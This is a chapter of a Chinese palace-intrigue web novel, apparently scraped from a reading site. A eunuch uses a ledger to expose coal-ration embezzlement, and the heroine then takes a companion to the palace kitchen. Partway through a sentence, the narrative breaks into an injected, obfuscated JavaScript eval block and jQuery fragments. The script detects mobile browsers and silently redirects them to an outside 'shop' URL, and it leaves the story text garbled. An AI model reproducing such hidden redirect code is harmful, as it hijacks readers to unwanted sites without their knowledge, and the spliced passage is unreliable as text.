14. 第 14 章
作品:《我在后宫吃瓜监察百官》 见到王总管手里拿着的那本账本,喜公公原本就显得有些凸的眼睛此刻都要掉出眼眶了。
“你、你怎么会有这个!”
可话一出口,喜公公便知自己是白问了,自己刚刚进来,可不就看见已经被打的半死的小泉子了吗?
可是王德保怎么知道小泉的身上有账本?
王总管扯了扯嘴角,慢条斯理的朝旁边的椅子坐下,“看来喜公公知道这是什么。”
刚刚喜公公的反应,已经是不打自招了。
“咱家不知道王总管在说什么。”喜公公眼神躲闪,矢口否认,“刚刚是咱家看花了眼,认错了。”
王总管并不在意,这上面的证据确凿,不是喜公公否认,就可以洗清干系的。
“王公公请咱家来,可是外面的小泉子犯了什么事?”
喜公公想将事情引到小泉子身上。
王总管手抬了抬,外面就将眼睛半阖,不知是醒是晕的小泉子就给拖了进来。小泉子的后背已经血肉模糊,所过之处,留下一道长长的血迹。
“这奴才殿前失仪,已经罚过了。”
王总管伸手指了指小泉子,随后似笑非笑地看着喜公公,晃了晃另一只手上的账本,“喜公公,咱们来聊聊这个。”
“咱家是真不知道王总管在说什么。”喜公公抵死不认。
“老喜啊,”王总管换了个称呼,“你我都是宫里的老人了,何必藏着掖着呢?”
声音虽柔和了几分,可盯着喜公公的那双眼却是锐利异常。
“咱家真不知道这个账本是谁的!”喜公公一脸无奈,仿佛是王总管特意和他过不去。
王总管一听,掀了掀眼皮,仿佛是抓了耗子的猫一般,“咱家可没说,手里拿的这是账本,喜公公倒是一口说出了。”
喜公公面上闪过懊恼之色。
王总管捻着账本的一角,随意翻了几页,就对旁边已经落座不说话的徐宫正道:
“徐宫正,今日请你来,也是为了昨晚那件事。”
“圣上可是非常关心此事,便将事交于了咱家,和宫正一起处理此事。”
徐宫正目光看似随意瞥向王总管手中的账本,“王总管可是有了什么蛛丝马迹?”
她实际清楚王总管手里拿着的是什么,这不就是昨天秦萱和时清提的那本账本吗?
昨晚时清向她保证,今日一定能拿到账本。这话徐宫正信了一半,毕竟喜公公在惜薪司老谋深算这么多年,岂是那么好对付的?
徐宫正自己都在想办法,看看怎么能再不打草惊蛇的情况下拿到那本账本。
却没想到,时清居然让御前的王德保拿到了这本账本。
王总管笑了笑,“这账本里,可是记录了不少见不得光的交易啊。”
喜公公脸色难看,眼睛死死盯着王总管。
王总管就跟没看见一样,接着对徐宫正道:“这里面还涉及了一位六尚女官,还请徐宫正同意,将人带来?”
徐宫正并没有立刻答应,而是问道:“不知是何人涉及此事,她又在里面做了什么?”
王总管也不藏着,直说:“尚功局的刘功宫,同惜薪司狼狈为奸,同流合污,克扣主子们的份例炭火,做假账,再通过惜薪司倒卖出去,最后分赃。”
徐宫正:“既如此,总管便去拿人吧。”
王总管忽然转头看向喜公公,“你说是吧,喜公公?”
喜公公身体在微微颤抖,额头的汗水不断冒出,“王总管,咱家真不知道这件事儿。”
“这账本是在小泉子身上掉下来的,指定是他干的。”
听了这话,王总管嗤笑一声,暗骂喜公公真是老王八,忒不要脸。
“小泉子不过是个跑腿的小太监,若非有人指使,他怎敢私藏这等要物?”
喜公公的脸色一阵青一阵白,额头冒出的汗水顺着脸颊滑落,他强作镇定地笑道:
“王总管说笑了,这小泉子私下里瞒着咱家做了什么,咱家也不知道啊。”
“哦?是吗?”王总管意味深长的笑了笑,“喜公公可是忘了,上面可是有你的私印。”
喜公公还在垂死挣扎,咬牙道:“那定是小泉子偷了我的私印,自己加盖的!”
“公公,你好狠的心!”
旁边一直没有动静的小泉子,忽然发了声,声音悲戚愤恨,努力忍痛睁开眼睛,眼神愤懑地望着喜公公。
“这里面的事情,都是公公你吩咐小的做的!”
“老喜啊,你也别否认了,忘了和你说,这账本圣上已经看过了。”
王总管慢悠悠来了这么一句,“你也知道,这事儿闹得让圣上不高兴,这越快了结,越好。”
喜公公闻言,心中惊恐万分,他原本以为只有王德保拿到了这个账本,真没想到,连圣上都已经看过了。
他年迈的身子瞬间软了下去,匍匐在地上,涕泗横流,
“王总管,咱家也是一时糊涂啊,一时想岔了,还望您高抬贵手,向圣上求求情,给咱家一个改过自新的机会。”
“咱家在京中的那些地产家财,皆可赠予您。”
“赠予咱家?”王总管微微挑眉,看似有些心动的模样。
喜公公以为有戏,立刻点头,将自己名下的东西都说了一遍,想要打动王总管。
“您意下如何?”喜公公略带希冀地望着王总管。
王总管骤然变了脸色,面沉如水,冷哼一声,“看来你是死不悔改,竟然拿赃款汇贿赂咱家,更是罪加一等!”
“这等赃款,咱家可不敢收。”
“来人,将此人收押!”
喜公公哭喊着,直接被人堵了嘴,拖了出去,刚巧和刘尚功擦肩而过。
见喜公公如此,刘尚功更是吓得脸色煞白,小腿肚子都在打颤,站在院门口,愣是不敢迈进一步。
徐宫正站起身,目光冷冽,“刘尚功,怎么不进来?”
“我、我……”
刘尚功吞吞吐吐,忽然大家听见一阵窸窸窣窣的声音。
“她竟然尿了!”
徐宫正看去,见刘尚功的衣裙当真湿了一片,面色越发难看。
还没等徐宫正说什么,刘尚功两眼一翻,就这么晕了过去。
王总管嫌恶的摆摆手,“一并拖下去。”
又指了指地,“待会儿让人,把这地给咱家擦干净了!”
他吩咐完,转头看向徐宫正,“不知宫正可认同咱家的处理?”
徐宫正一板一眼答道:“圣上将此事交于总管处理,自然是信任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305751|140271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总管。”
“此事也算是查清,若没有其他事,我就先回去了。”
王总管笑眯眯,“宫正慢走。”
对于这位圣上面前都能说上话的宫正,王总管也并不想喝对方有什么过节。
徐宫正出了院后,目光又朝时清躲藏的方向看去。这次时清有了经验,早已经闪身躲了进去。
“姐姐很怕徐宫正?”
商玄璋像是发现了什么有趣的事情,总觉得时清遇见徐宫正,像是耗子遇见了猫。
时清撇了撇嘴,“也谈不上怕,只是……”
只是自己在徐宫正面前总有种摸鱼八卦,做贼心虚的感觉,那种小辈在长辈面前偷偷藏了秘密的心虚感。
“哎呀,你不懂啦。”时清清了清嗓子,“我那是敬畏!”
商玄璋笑而不语。
时清再探头时,徐宫正已经走了,时清扯了扯商玄璋的袖子,“事情可算是解决了,走,姐姐领你去吃好吃的。”
“姐姐怎知,都处理完了?”
据他所知,时清所交好的那位秦司计还在宫正司,丽妃那边也不会善罢甘休。
时清:“那些事情徐宫正会处理好的。”
这些复杂的事情,她向来不趁手,也就审犯人她行,毕竟她手上瓜多。
“这些事还真是复杂。”时清有些苦恼,做人为什么会有这么多复杂的事情,她只想每天看看八卦。
商玄璋听了时清的这句话,心里对时清又多了一份认识:
时清纯粹又神秘,知道许多东西,但是怕麻烦。
这样可不行。
“可是,因为你,秦司计才能洗脱冤屈,不是吗?”
商玄璋这么一说,时清也觉得有道理,能帮助秦萱,她确实比较开心。
“阿归,你可是帮了我大忙!走,我一定要请你吃好吃的!”
时清牵起商玄璋的袖子,就偷偷朝司膳司前进。
说来也奇怪,时清其实和六尚局大部分女官关系都不错,可唯独司膳司的方司膳看时清最不顺眼。
这也是为什么时清这么长时间都没蹭上那口蜜蜡烤鸡的原因,人家方司膳防她跟
防贼一般。
这不,时清这边刚带着商玄璋进了司膳司的门,方司膳就拿着把菜刀出现在了时清面前。
“时司正怎么来司膳司了?”方司膳面无表情,挡住了时清的去路。
时清像是看不出方司膳的冷脸,“方司膳,我来加个餐。”
方司膳手一摊,“给银子。”
加餐是可以的,给钱就成。
时清一脸肉痛的给了一小锭银子,“我要蘑菇生炒鸡、鱼羹、麻鸭……”
方司膳拿过银子,皮笑肉不笑道:“说的那些都没有,你这点银子,我就看着做了。”
话说这么说,但依旧给时清上了四个菜,足够两个人了,手艺也确实不错。
“方司膳真是个好人。”
时清感慨一声,商玄璋有些稀奇,“方司膳对姐姐那个态度,姐姐还夸她?”
“你别看她脸黑,可她饭做的好吃啊!”
“啪!”
时清话刚说完,前面就传来一个东西砸地的声音。
“从今日起!冷风殿不必送饭食了!”